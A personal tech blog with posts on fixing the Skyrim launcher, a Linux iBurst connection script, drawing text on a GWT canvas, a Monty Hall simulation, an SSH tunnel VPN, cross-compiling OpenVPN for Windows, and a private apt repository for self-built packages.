Quintin Beukes' Blog

Skyrim Launcher Doesn't Work - Launcher Restarts

2011-11-21T23:44:00.003+02:00

Today, Skyrim suddenly decided to stop working. I would launch it, press the Play button (on the launcher window) and then just have it reload after asking for Administrator privileges.

If you have this problem, to fix this you have 2 options.

1. Run Directly from Game File

Navigate to your Steam installation (By default C:\Program Files (x86)\Steam)
Then goto the SteamApps\common\skyrim directory
From here just run TESV.exe directly.
If it's missing, goto option 2.

2. The game file TESV.exe or any other file is missing.

In Steam, right click Skyrim
Select Properties
Goto Local Files tab
Click "Verify Integrity of Game Cache"
It should download all broken/missing files.
This didn't seem to fix it for me first time. So if it still doesn't work, try doing this same fix it just one more time.

Why Love Linux

2011-05-22T01:05:00.001+02:00

I started a new blog at whylovelinux.com a few days ago.

The idea is to make a new post every day for a year, describing a reason why I love Linux. The result will be 365 reasons to love Linux.

I will not be comparing Linux against anything else for the purpose of convincing people to prefer Linux over others. I’m just sharing those things Linux made possible which make my life easier or more pleasant. If I do happen to compare it against something, it would be purely to explain the idea I was developing at that point.

Many of the things mentioned are also possible in other operating systems. Especially on other Unixes, but also in Windows when using the specific software. It doesn’t change the fact that having this on Linux makes me appreciate it any more. To give an example. I can use grep to search for a string through a list of files. Most (if not all) Unix operating systems have grep, and you can always install grep on Windows. Though, grep comes preinstalled with the distributions I use, and if you find a good use for grep, it’s is a good reason to give a thumbs-up to Linux. It made all this possible!

So be sure to subscribe to whylovelinux.com and find a new reason to Love Linux every day!

Linux iBurst Connection Script

2011-03-18T23:02:00.002+02:00

I always do things to make my life easier, and one of the ways I achieve this is scripts to automate tasks or make them more informative/easy to use.

One of these tasks is connecting to the internet on my iBurst connection at home. This is for the USB modem which uses PPPoE over an ethernet device emulated by the driver.

Originally I had to use "pon iburst" to connect, then check /var/log/messages to ifconfig to see if and when I am connected. Over time I started scripting this and this post is the result of that script.

It has matured quite a bit over the past few years. A list of features can be summarized as follows:

When instructed to connect will invoke "pon " (for a configured peer).
Shows connection progress using a zenity dialog.
All important feedback like errors are reported via zenity message boxes.
A successful connect is reported via Gnome's informational messages using notify-send. This is only if the notify-send command is available and you are logged into a Gnome session. The fallback is to use a zenity message box.
The assigned IP address will be displayed in the message when connected successfully.
If pppd dies it will fail the connection attempt immediately and report this.
If the connection attempt remains for a long time without getting an IP address, it will be timed out after a configured amount of time.
If the connection attempt fails for any reason it will ensure pppd exits and kill it if necessary.
Connects and disconnects can be cancelled. Script will ensure pppd exits and kill it if necessary.
When killing pppd the script will use increasing levels of aggressiveness to work around being interrupted by blocking processes.
If a connection existed previously it will disconnect unless otherwise instructed with command line switches.
Can reliably detect if an existing iBurst connection is already active.
Can be instructed to connect quietly.
If the iBurst device isn't plugged into it will display an error.
This error can be suppressed by a command line switch (useful in automation like if executed when you log in).
Supports hooks for pre and post connect, successful disconnect and any error.
Thorough logging to a configured log file.
When executed as a non-root user will wrap itself inside a sudo session. This way if the sudo is configured to allow execution of the script without a password, then you can run the script as any of the allowed users.
Automatically controls the up/down state of the iBurst driver interface (usually ib0). This was discovered from experience and experimentation and increases stability and maximum success with connection attempts.
Some misc other stability and reliability tweaks in the way connections are managed.

This is quiet an extensive list of features. I have found the script to be very reliable these days and can probably say that I connect successfully 100% of the time. The only times I have problems is when the ISP has delays in authenticating me. I haven't had any problems in the past few months where I need to manually play around with plugging/unplugging the device, up/downing the interface, etc.

So I decided to share it.

How to Use

Requirements to use it:

Have zenity installed: apt-get install zenity
If using Gnome, recommended to have notify-send installed: apt-get install libnotify-bin
Have a PPPD peer setup that can be connected using: /usr/bin/pon peername
Download the script at: http://sites.google.com/site/qbeukesblog/connect.iburst.sh

With the above requirements satisfied you can edit the script and change the configuration options in the beginning. Most important option is the IB_IFACE and PEER variables. PEER should be the name of the peer used supplied to /usr/bin/pon. IB_IFACE should be the network device name created by the iBurst driver. This is usually ib0.

Then if you're going to execute this command as a non-root user, add the following to your /etc/sudoers file. Remember to replace in your username and the full path to the connect script.

your-username ALL=(root) NOPASSWD: /opt/iburst/connect.iburst.sh

After this you can simply use the following commands to use the script. These commands assume the script is on the command path.

Connect to the configured peer. Will disconnect if there is already an active connection:

connect.iburst.sh

Connect to the configured peer. If already connected will do nothing.

connect.iburst.sh --no-disconnect

Only attempt a connection if the iBurst device is plugged in. This is detected by checking if the IB_IFACE interface is available.

connect.iburst.sh --conditional

Only attempt a connection if the iBurst device is plugged in. Also, if already connecting nothing will be done.

connect.iburst.sh --no-disconnect --conditional

Hooks

If you want to use the hooks, you need to create a directory called connect.iburst.hooks in the same location the script is executed from. So if you execute the script from /opt/iburst, you need to create the directory at /opt/iburst/connect.burst.hooks. If you want to put the directory in a different location, you can do so by editing the HOOKS_DIR variable in the beginning of the script.

From here you can create hooks for 4 types of events:

before: Pre Connect
disconnect: Successful disconnect. Hooks receives 1 argument, which is the trigger for the disconnect.
success: Post Successful Connect. Hooks receives 1 argument, which is the IP address.
error: Error condition

The files inside the hooks directory need to be named as follows:

hookid.eventname.sh

Here hookid is simply a name to identify the hook. You can choose this name and it may be anything valid in a filename.

The eventname is the name of one of the 4 hook events, as listed above (before, disconnect, success or error).

Finally you just need the .sh extension.

As a note, for any given event, these hooks are executed in no specific order. They are also executed synchronously, so any commands that won't exit needs to be executed in the background manually.

Then, for the hook to be executed the file needs to be executable.

For an example, if we wanted to make a hook that will execute a dynamic DNS update whenever we are connected successfully, we would want to hook into the success event, so we'd call the script dynamicdns.success.sh.

The success event supplies 1 argument to the script, which is the IP address we were assigned. We could then make use of this IP address when doing the DNS update.

Example Setup

In my setup, I have the script and it's hooks installed at /usr/zbin/connect.iburst.sh and /usr/zbin/connect.iburst.hooks.

Then I have the script configured in my sudoers file so I can execute it without a password.

When I log into Gnome, on my panel I have a shortcut icon the I can click to connect explicitly. This will execute /usr/zbin/connect.iburst.sh. This way it will disconnect if it's already connected.

Finally I also added a command to my Gnome startup, so that whenever I log in and the iBurst device is plugged in a connection will be created. Further, if a connection already exists it won't disconnect and reconnect. This could be the case where I, for example, would log out and log back in for whatever reason. This is achieved by adding the following command line to startup:

connect.iburst.sh --no-disconnect --conditional

Download

The script can be downloaded from here: http://sites.google.com/site/qbeukesblog/connect.iburst.sh

Draw Text and Shadows with GWTCanvas

2010-12-25T16:51:00.010+02:00

Overview

This post will describe how to draw text and shadows with GWTCanvas.

Example render of the HTML5Canvas widget (click image to enlarge):

Introduction

I started experimenting with HTML5 and GWT for a the user interface of a pet project I've been working on the last 2 years or so. At first I was using SVG through the Tatami GWT library, but decided to investigate the possibility of using the canvas.

Unfortunately the standard GWT doesn't have widgets for interfacing with the HTML 5 canvas. The gwt-incubator project does have a GWTCanvas widget with basic support for the HTML5 canvas. Since the poor support of the <canvas> element in Internet Explorer, GWT emulates most of this. I figure this is the reason not all of the canvas API is provided via the GWTCanvas widget.

One of the big missing features is the ability to draw text. One day, when Internet Explorer will support all of the canvas element, I'm sure the GWTCanvas will become much more functional.

I am not targeting IE though. Being perfectly happy with Firefox and Google Chrome as a client, I want to be able to leverage all the canvas element's features, like shadows and drawing text. One day when IE implements it everything will hopefully fall in place. Not provided by the GWTCanvas I decided to extend it and provide these features.

If you really need support for drawing text on Internet Explorer as well, you could possibly use the SWTB Canvas Font extension.

Note that HTML5Canvas isn't an extension in the sense of extending the GWTCanvas widget class. Due to the GWTCanvas class not exposing the canvas context JavaScriptObject, I had to copy the classes completely. I do use some of the classes that GWTCanvas depends on, and for this reason the gwt-incubator JAR is necessary on the classpath as well. For convenience, I do supply all the necessary JARs on the SourceForge project.

This extension was based on the version 20101117-r1766 of the gwt-incubator library for GWT 2.1.0.

How to add the HTML5Canvas extension to your project

Downloads the JARs at: https://sourceforge.net/projects/html5canvas/. Get both the gwt-incubator and html5canvas JAR.
Add these JARs to your classpath.

Add the following to your .gwt.xml file:

<inherits name="com.blogspot.qbeukes.gwt.html5canvas.HTML5Canvas"/>

You're ready to go!

Using HTML5Canvas
Creating the Widget

You need to create an instance of com.blogspot.qbeukes.gwt.html5canvas.client.HTML5Canvas and add it to your display as you will add any other widget.

Shadows

Shadows are configured with these methods:

public void setShadowBlur(double blur);
public void setShadowColor(Color color);
public void setShadowOffset(double x, double y);
public void removeShadow();

Then you can just stroke/fill and whatever you make visible will have a shadow.

Example:

canvas.saveContext();

canvas.setShadowBlur(5);
canvas.setShadowOffset(4, 4);
canvas.setShadowColor(Color.BLACK);
canvas.setFillStyle(Color.RED);
canvas.fillRect(10, 20, 50, 50);
canvas.removeShadow();

canvas.setStrokeStyle(Color.BLACK);
canvas.strokeRect(10, 20, 50, 50);

canvas.restoreContext();

Text

To draw text you first need to create an instance of com.blogspot.qbeukes.gwt.html5canvas.client.Font. Through this class you can configure font family, size, variant, weight and all the CSS font properties available in HTML.

From here you can use HTML5Canvas.setFont(Font) to configure it, and then use these methods to draw/configure text:

public void fillText(String text, double x, double y);
public void strokeText(String text, double x, double y);
public double getTextWidth(String text);
public void setTextBaseline(String textBaseline);
public void setTextAlign(String textAlign);

Font colors are configured with fill and stroke style, depending on which method you use to draw the font.

Composite Operations

Composite operation support is already available in GWTCanvas through setGlobalCompositeOperation(String), though there are only constants for destination-over and source-over.

HTML5Canvas adds a new method, setGlobalCompositeOperation(com.blogspot.qbeukes.gwt.html5canvas.client.CompositeOp) and the CompositeOp enum used in the argument of this new method.

The CompositeOp enum contains the following constants:

CompositeOp.SOURCE_ATOP
CompositeOp.SOURCE_IN
CompositeOp.SOURCE_OUT
CompositeOp.SOURCE_OVER
CompositeOp.DESTINATION_ATOP
CompositeOp.DESTINATION_IN
CompositeOp.DESTINATION_OUT
CompositeOp.DESTINATION_OVER
CompositeOp.LIGHTER
CompositeOp.COPY
CompositeOp.XOR

Demo/Examples

For demo/examples, see com/blogspot/qbeukes/gwt/html5canvas/demo/HTML5CanvasDemo.java.

This source file can be found

Inside the HTML5Canvas JAR, or
Through Subversion from the SourceForge project under trunk/src/.

You can also download the WAR from the SourceForge project and deploy this to a servlet container like Tomcat.

Conclusion

That's it. Enjoy.

Winning at Pick the Mug

2010-08-27T22:25:00.002+02:00

Everyone knows the classical Pick the Mug game, where you have 3 mugs and you have to guess which mug has the stone in it. Every time you play you have a 33% change to guess correctly.

But what if, after you made your first guess, one of the other 2 mugs is revealed, specifically one that doesn't have the stone, and you have the option of changing your guess. In other words, if you were to pick mug A, and mug B had the stone, then mug C would be revealed and you can choose to either stay with mug A or change to mug B. Or for another example, if you choose mug B, and it has the stone, then either mug A or C would be revealed and you have the option of changing your option between your first choice and the one that wasn't revealed.

If you were to stay with your choice, you still have only 33% chance to win. But if you were to change your choice, your chances to win increases to 66%. So if this were the rules of the game, you double your chances to win if you consistently change your choice.

When I first heard this, I could understand the math behind it, but that's all I thought it was, a bit of math. I didn't think it would reflect the real world. In other words, I didn't think applying this would actually improve my chances of winning. After all, whether you stay or change, the designated mug didn't. I decided to put it to the test, and wrote a little program that will play the game a certain amount of rounds using each of the 2 strategies, and then see how effective each strategy was at winning.

After doing this, and playing each strategy 1 million times, I found that the game was won 33% of the time when you stay with the initial choice, and 66% of the time if you change your choice. Here is the output of 5 games, each game being reseeded with the current time and all random number generation for a given game happening from the same java.security.SecureRandom instance.

Playing 1000000 games with seed: 1282940127868
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.2673 |  332673 |
| Change Guess  | 66.6309 |  666309 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940139406
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3591 |  333591 |
| Change Guess  | 66.5868 |  665868 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940150963
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3038 |  333038 |
| Change Guess  | 66.6906 |  666906 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940162498
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3286 |  333286 |
| Change Guess  | 66.6777 |  666777 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940174009
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3406 |  333406 |
| Change Guess  | 66.6462 |  666462 |
+ ------------- + ------- + ------- +

There you have it. The amount of times won, consistently matches the statistical probabilities. I'm still battling to completely believe this, though the numbers show it does.

Just as a fun test to compare java.security.SecureRandom with standard java.util.Random, I run 5 games with the standard Random, and the results seems to be pretty much the same.

Here is the output using java.util.Random with 5 games:

Playing 1000000 games with seed: 1282943227982
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3512 |  333512 |
| Change Guess  | 66.6876 |  666876 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943228344
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3279 |  333279 |
| Change Guess  | 66.7352 |  667352 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943228758
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.4019 |  334019 |
| Change Guess  | 66.6114 |  666114 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943229166
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3664 |  333664 |
| Change Guess  | 66.6776 |  666776 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943229573
+ ------------- + ------- + ------- +
| Description   | Perc    | Count   |
+ ------------- + ------- + ------- +
| Keep Guess    | 33.3731 |  333731 |
| Change Guess  | 66.6791 |  666791 |
+ ------------- + ------- + ------- +

Random, as you can see from the seeds, was MUCH faster as well, all tests taking 2 seconds in total compared to 57 seconds with SecureRandom.

To test if SecureRandom does give results generally closer to the probabilities, I decided to run 30 runs with 1,000,000 games on each run, and then see the deviations from 33.3% and 66.6% on each. Each game will be reseeded with the time on each run of 1,000,000 games. The results of this is:

Playing 30 rounds with 1000000 games each.
+ --------------------- + ------- + ------- + ------- +
| Description           | Min     | Max     | Range   |
+ --------------------- + ------- + ------- + ------- +
| Secure Keep Guess     | 33.2524 | 33.4422 |  0.1898 |
| Secure Change Guess   | 66.5545 | 66.7486 |  0.1941 |
| Standard Keep Guess   | 33.2437 | 33.4309 |  0.1872 |
| Standard Change Guess | 66.5841 | 66.7979 |  0.2138 |
+ --------------------- + ------- + ------- + ------- +

So the results are actually pretty much the same. We're only randomizing between 2 and 3 after all. So there is no real conclusion here. Mostly just satisfied curiosity.

You can download the application's code at: https://sites.google.com/site/qbeukesblog/MugsGame.tar.bz2. This is only the code for the initial tests. The experiments with the generators aren't included.

Tunneling via SSH

2010-08-26T23:56:00.010+02:00

SSH is one of the most amazing protocols ever designed. OpenSSH's contributions to it makes it even more so. Whenever I set up a server, one of the first things I put in place is SSH access, because once you have SSH access to a server you can literally do almost anything. You can mirror drives, get past firewalls, fix software with connection/routing problems. The list is endless.

Here I describe one of those amazing things you can do with SSH. Until I discovered this I was always doing port forwarding to communicate over SSH. This requires you to setup many ports if you need to forward something like NFS, for instance. With a tunnel you get a virtual ethernet device, with it's own IP address on each end. Then communication can happen on this device as if the two machines where physically connected. It's a VPN, using nothing more than an SSH connection.

So in this description I have a server and a client. The server is a CentOS 5.4 machine, and the client an Ubuntu 10.04 machine.

Client Setup
Client probably has the more complex setup of the two. This is mainly because of the script that allows you to have more than one endpoint configured, and then select which at the time of bringing up the tunnel.

If you have more than one endpoint in the script, this script only works when manually bringing up the tunnel from a terminal, since it will prompt you to which one to connect. If you wish to bring up the tunnel at system boot time this won't work, so you will need to copy the script for each tunnel you wish to bring up, and then list only one tunnel in each script, referencing the scripts in the correct interface configurations as needed.

First things first. Generate the key pair. Navigate to /etc/ssh and run the following, entering tunnel_rsa for the key name:

ssh-keygen -b 2048

Then create the file /etc/ssh/tunnel-connect.sh, giving it the following contents:

#!/bin/bash

TARGET_LIST=(
  tunnel-host1.domain.com
  tunnel-host2.domain.com
)

function connect() 
{
  local count=${#TARGET_LIST[@]}
  local nr desc target

  if [ $count -lt 1 ]
  then
    echo "No tunnel endpoints configured!" >&2
    exit 1
  elif [ $count -gt 1 ]
  then
    while true
    do
      echo "Tunnel Endpoints:" >&2
      for ((i=0; i<$count; i++)) {
        nr=$((i+1))
        desc=${TARGET_LIST[$i]}
  
        echo "  $nr. $desc" >&2
      }
  
      echo >&2
      read -p "Please enter number of endpoint to connect to (-1 to quit): " choice >&2
  
      # no choice
      if [ -z "$choice" ]
      then
        echo -e "\033[31mYou have to select a choice, or enter -1 to quit.\033[0m" >&2
        echo >&2
        continue
      fi
  
      # quit
      if [ "$choice" = "-1" ]
      then
        echo -e "\033[31mQuitting...\033[0m" >&2
        echo >&2
        exit 1
      fi
  
      # validate choice
      if [[ $choice = *[^0-9]* ]] || [ $choice -lt 1 -o $choice -gt $count ]
      then
        echo -e "\033[31mNot a valid choice '$choice'.\033[0m" >&2
        echo >&2
        continue
      fi
  
      target=${TARGET_LIST[$((choice-1))]}
      break
    done
  else
    target=${TARGET_LIST[0]}
  fi
  
  mkdir -p /var/run/sshd/tunnel-control
  ssh -M -f -S /var/run/sshd/tunnel-control/tun0 -i /etc/ssh/tunnel_rsa -w 0:0 root@$target true
  sleep 5
}
  
function disconnect()
{
  ssh -S /var/run/sshd/tunnel-control/tun0 -O exit true
}

case "$1" in
  "--connect")
    connect
    ;;

  "--disconnect")
    disconnect
    ;;

  *)
    echo "Invalid option: $1" >&2
    echo "Valid options are --connect or --disconnect." >&2
    exit 1
esac

At the top of the script you can see a list of hosts in the TARGET_LIST variable. Remove the contents of the example, and enter the hostnames/IPs of the server host(s) you will be connecting to. If you have more than one host, the script will print a list of them and prompt which one to connect to. If you have only one host then it will automatically use that host.

Give the script execute permissions:

chmod a+x /etc/ssh/tunnel-connect.sh

Finally, edit /etc/network/interfaces and add the following:

iface tun0 inet static
address 10.18.0.225
pointopoint 10.18.0.1
netmask 255.255.255.0
pre-up /etc/ssh/tunnel-connect.sh --connect
post-down /etc/ssh/tunnel-connect.sh --disconnect

This will configure the tunnel to take on the IP address 10.18.0.225 for the client and 10.18.0.1 for the tunnel endpoint.

Server Setup
First we have to configure the tunnel device by creating a file /etc/sysconfig/network-scripts/ifcfg-tun0, assuming you have no previously configured tunnels. If you do, adapt the device names appropriately. The contents of the file is as follows:

NAME="SSH Tunnel Device"
DEVICE=tun0
IPADDR=10.18.0.1
NETMASK=255.255.255.0
ONBOOT=no
BOOTPROTO=none
PEERDNS=no

Here we configure a device named tun0 with IP address 10.18.0.1. It's also instructed to not load at boot time, and given a friendly name.

Then, edit /etc/ssh/sshd_config and enable root login with the forced-commands-only option. You have to enable root login, since it's needed to bring up the tunnel interface. On top of this the PermitTunnel option must be set to yes. If you're using the AllowUsers option, remember to ensure the root username is listed in it as well. Your sshd configuration should have these 2 options afterwards:

PermitRootLogin forced-commands-only
PermitTunnel yes

Finally, put the contents of the public key generated on the client (/etc/ssh/tunnel_rsa.pub) into /root/.ssh/authorized_keys, with the forced-commands options prepended to it, so it looks something like this

command="/sbin/ifdown tun0; /sbin/ifup tun0",no-port-forwarding,no-pty,no-X11-forwarding,no-agent-forwarding ssh-rsa AAAAB3...mNc= user@client-hostname

The part from ssh-rsa onwards is the public key you generated.

If you created the authorized_keys file, ensure the ownership and permissions of the /root/.ssh directory and it's contents are correct. Safe bet is to just run:

chown -R root:root /root/.ssh
chmod -R og-rwx /root/.ssh

Setup the Firewall
Update your firewall on both the server and client. Something like the following will allow all traffic to/from the tun0 interface. It's recommended to use this only for testing. Replace it with stricter rules once everything is working.

iptables -I INPUT -i tun0 -j ACCEPT
iptables -I OUTPUT -o tun0 -j ACCEPT

Testing the Connection
Back on the client, to connect the tunnel you can just run:

ifup tun0

If you have more than one destination server configured, you should be prompted to which server to connect.

After the connection is established, you can test it by running this on the client:

ping 10.18.0.1

Now all communication that would normally have to go to the server, would just need to go to the 10.18.0.1 IP address. You can make this transparent by adding some clever NAT entries with iptables.

To disconnect, run:

ifdown tun0

Example Usage of the Tunnel
Say you're server is db-server with IP address 10.10.10.200, and it is running MySQL. If the MySQL port 3306 is closed on it's firewall, you can create a tunnel to the server, and then just connect to 10.18.0.1 for access to MySQL. Now you're past the firewall.

But if you have software which is already configured, to avoid reconfiguring it everytime you try and test it, you have 2 options.

If the software uses the hostname db-server instead of the IP itself, you can add an entry to /etc/hosts which maps the db-server hostname to the 10.18.0.1 IP address.

If this isn't an option, you can also make the following DNAT entry:

iptables -A OUTPUT -d 10.10.10.200 -p tcp -m tcp --dport 3306 -j DNAT --to-destination 10.18.0.1
iptables -A POSTROUTING -o tun0 -j MASQUERADE

This will now cause any traffic to 10.10.10.200 for port 3306/TCP to instead be instructed to goto 10.18.0.1. So the traffic is transparently rerouted via the tunnel.

These rules will only work for traffic originating from the same machine as the one with the tunnel. If the machine with the tunnel is a gateway for other machines, then you can add the same rule above for the OUTPUT chain, to the PREROUTING chain as well, for example:

iptables -A PREROUTING -d 10.10.10.200 -p tcp -m tcp --dport 3306 -j DNAT --to-destination 10.18.0.1

There is so much you can do with this. For example if the tunnel endpoint does IPv4 packet forwarding, then you can setup a static route instead of a DNAT, and so forth. The power of this cannot be described in one sentence, let alone a thousand. Enjoy.

And remember, with great power comes great hacks!

Cross Compiling OpenVPN for Windows on Linux

2010-08-11T22:27:00.006+02:00

I went through quite a struggle to build OpenVPN and a custom installer for Windows using my Linux machine. This post describes how to achieve this. To make it easier I packaged all the actual build steps into a script.

This post works on the cross compiling environment prepared in my previous post Building a Cross Compiler on Linux for MinGW32.

If you want to build the installer exe for OpenVPN as well, you will need NSIS (Nullsoft Installer System) installed. Download and compile it from http://nsis.sourceforge.net/.

You will still be able to build the exes without NSIS. NSIS is only needed for packaging them into an installer.

Also note that this doesn't build the TAP driver. It just copies the prebuilt one. To do this would have to install the Microsoft DDK, make an amd64 cross compile environment and modify my script to build the driver instead of copying it.

First download the following:

Prebuilt packages from http://openvpn.net/prebuilt/. Choose the latest -prebuilt .tbz file.
Download the latest OpenVPN source code tar.gz archive.
Download the build scripts from here.

Then extract the build scripts to your home directory. This will then create a directory ~/openvpn-src which contains ~/openvpn-src/archive. Copy the prebuilt and OpenVPN source code packages into ~/openvpn-src/archive.

Modify the ~/openvpn-src/env.sh script to reflect your cross-compiler environment. The variables have the following purposes:

PREFIX - Where to install the compiled OpenVPN files
TARGET - The build environment you're targeting, for example i686-mingw32msvc
TOOLCHAIN - The root location where the cross compiler binaries are access from.
MAKENSIS - The full path to your makensis variable. Leave this empty if you don't want the installer to be created or if you don't have NSIS installed.
The rest of them are standard autoconf environment variables.

When you're ready you can kick of build-openvpn.sh.

The resulting OpenVPN .exe files will be located in the directory your PREFIX variable points to, which by default would be ~/openvpn-dist.

This script was tested with openvpn-2.1.1 and 2.1_rc22-prebuilt.tgz.

Building a Cross Compiler on Linux for MinGW32

2010-08-11T20:30:00.007+02:00

I was installing OpenVPN the other day and after getting everything up and running wanted to build an installer for Windows, to make it easier for the average person to be able to connect to the company VPN.

The basic idea was to prompt for a P12 cert and it's private key password during the installation and then install this along with the OpenVPN client. OpenVPN has an option "askpass", which allows you to store the private key password for a CRT or P12 cert. The build provided on openvpn.net, however, has this feature disabled. Due to this I had to recompile OpenVPN.

Not having Windows installed I knew I was going to have to figure out another way to get it to compile. I could either try and get MinGW32 running in Wine or setup a cross compiler environment. I thought the latter would be the easier option (as I was quite familiar with the existing Linux building environment). Boy was I wrong.

Either way. During the process of building the cross compiler, sorting out problem after problem I came across a script written by Paul Millar, which will extract, patch and compile MinGW32 for you as a cross compiler. This is a life saver.

To honor his hard work, even though still a bit tricky to use, I'm documenting it here.

Firstly, download and extract this script into ~/mingw-src. You can get it here. Inside this directory also create 2 other directories called Archive and Patches.

Then, get hold of the following source packages from http://www.sourceforge.net/projects/mingw/files/:

gcc
binutils
w32api
mingw-runtime

At the time of writing this, they had the following names:

gcc-3.4.4-3-msys-1.0.13-src.tar.lzma
binutils-2.19.51-3-msys-1.0.13-src.tar.lzma
w32api-3.14-3-msys-1.0.12-src.tar.gz
mingw-runtime-3.14-src.tar.gz

Then extract these archives into ~/mingw-src/Archive. The lzma archives would first have to be extacted with lzma into a temporary location, and the resulting tar archive extracted into ~/mingw-src/Archive.

Extract them one at a time, because some of them also contain patches. As you extract each of these, copy the patches into the ~/mingw-src/Patches directory, naming them {prefix}_name.patch, where {prefix} would be gcc, binutils, w32api or mingw-runtime_, depending on which archive the patch originated from.

For example, the binutils package has 2 patches, nl.

01-scriptdir.patch
binutils-2.19.51-1-msys.patch

These would respectively be places in ~/mingw-src/Patches with these names:

binutils_01-scriptdir.patch
binutils_binutils-2.19.51-1-msys.patch.

The important part is the prefix and underscore. What comes after it doesn't actually matter. So you could name them binutils_1 and binutils_2 if you prefer.

When you're done with this, edit the parameters file, applying the following changes:

Comment the LANGUAGES variable.
There are 2 definitions of the DEFAULT_CC variable. The first assigns it the value gcc-4.0 and the second prefixes it with a distcc invocation. Change the value of the first to only gcc and comment the second.
Comment the DISTCC_LOG and DISTCC_HOSTS variables.
Change MAKE_PROCESS_COUNT to equal the number of CPU cores you have available, multiplied by 2, plus 1. So if you have 4 cores, this would be (4*2) + 1, which is 9.
Comment the ROOT_TARGET variable.
Comment the CLUSTER_DEPLOY variable.
Check what the extensions are for your binutils, w32api and mingw-runtime archives in the ~/mingw-src/Archive directory. If it's not tar.gz for any of these, update the BINUTILS, W32API and RUNTIME variables to reflect the correct extension.

After the script has finished building the packages, change to ~/mingw32 where the packages were deployed and run the following commands:

cd ~/mingw32
cp -Rp i686-mingw32msvc/include/ i686-mingw32msvc/lib/ ./
rm -rf i686-mingw32msvc/include/ i686-mingw32msvc/lib/
ln -s ../include i686-mingw32msvc/include
ln -s ../lib i686-mingw32msvc/lib

Then you should have a working cross compiler environment in ~/mingw.

To use it, load the following environment:

PREFIX=$HOME/openvpn
TARGET=i686-mingw32msvc
TOOLCHAIN=$HOME/mingw32
BIN="$TOOLCHAIN/bin"
export PATH="$BIN:$TOOLCHAIN/$TARGET/bin:$PATH"
export CC="$BIN/$TARGET-gcc"
export LDFLAGS="-L$TOOLCHAIN/lib"
export CFLAGS="-I$TOOLCHAIN/include"
export CROSS_COMPILE="$TARGET"

Remember to update the value of PREFIX to where you want to install the resulting package, which in the example is ~/openvpn.

Once loaded you can compile a package (like OpenVPN) with the following command. This has to be run from the directory where it's source code is extracted.

./configure --prefix=$PREFIX --build=$TARGET && make && sudo make install

And that's all there is to it. The resulting package will be located in the directory where PREFIX points.

Upgrading with apt-get replaces packages built from source

2010-01-17T12:45:00.005+02:00

Sometimes you need to apply your own flavor to some distribution package. With apt this is a dream, as you simply (using the example of grub2):

Instruct to to install all the dependencies needed to rebuild a specific package:
sudo apt-get build-dep grub2
Fetch, extract and apply distro patches of the source code:
apt-get source grub2
Make your modifications
Rebuild (from inside the extracted source tree)
dpkg-buildpackage -j2 -rfakeroot -b
Then install the generated .debs

This is all fine except for when you get to upgrading your packages to newer versions. The package selection policies always see self installed debs as lower priority to those coming from the repositories.

So your package will always be replaced with it's same original distro version. To explain with a more clear example, assume you have linux-image-2.6.31-17-generic installed. You fetch it's source, beat a bug, rebuild and install it, once you upgrade the repositories version of linux-image-2.6.31-17-generic will be installed, making the bug a "zombie".

I had a look around, and it seems that the solutions a float is to either

increase the version of the package so it's higher than the one from the repository, or
to "hold" the package.

The problem with the first approach is that you need to select the version carefully enough, so a legitimate upgrade doesn't go unnoticed. If you were to increase version 1.0 to 1.1, and a version 1.0.1 gets released, you'll miss it, because you're version is still higher.

The problem with the second approach is that you'll never have the package upgraded.

So in both cases you'll probably end up having to monitor for upgrades these package, to ensure you don't miss any. There is also the option of seeing which packages are proposed for the upgrade, and just not do any of those you built yourself unless their versions were increased.

This was not acceptable for me, especially since my list of self-built packages were growing increasingly large, and I had more than one machine to do all this maintenance one.

So I set out on finding a solution. In the process of applying a possible solution I found that it's actually very simple. Halfway through it was already solved.

So here it is:

Create your own repository
Load your packages into the repository
Install them from the repository
Done

That's all there is to it.

So, to give a bit more detailed instructions.

When your done testing your changes and ready to load the package into the repository, build your package with the dpkg-buildpackage command. This is necessary to generate the .changes file.
Setup a .deb repository and import the packages. See this link for instructions.
Add your repository to then end of your /etc/apt/sources.list file.
Install the package

Further, when setting up my repository, I gave a custom name as the repository's "Suite". This way I could more easily pin this repository. Doing this, however, will result in a warning when trying to import the packages using the reprepro utility. You can tell reprepro to ignore the warning and continue, or you can build your packages prepared for this repository.

To do so, when building your package, do the following from inside it's source tree:

Open the 'debian/changelog' file
The first line would read something like:
gnutls26 (2.8.3-2) unstable; urgency=low
OR
grub2 (1.97~beta4-1ubuntu4.1) karmic-security; urgency=low
The part after the package version in parenthesis and before the semi-colon is the target "suite", in these cases 'unstable' and 'karmic-security' respectively.
Change this to whatever your configured 'Suite' value is, and build the package.

Another problem I ran into when trying to import my modified kernel image was a warning:

Cannot put file 'virtio-modules-2.6.31-17-generic-di_2.6.31-17.54_i386.udeb' into component 'main', as it is not listed in UDebComponents!

This was because I didn't include a UDebComponents entry in my repository configuration, which has to be listed AFTER the Components entry. So if you're going to rebuild and import the kernel, you need to have something similar to this in your 'conf/distributions' file:

Components: main non-free contrib
UDebComponents: main

And that's about all there was to it. I suspect it might depend on the order of the repositories as well, so if this doesn't seem to help, try and swap the order your repositories are listed in your sources.list, or try pinning your custom repository with a higher priority.

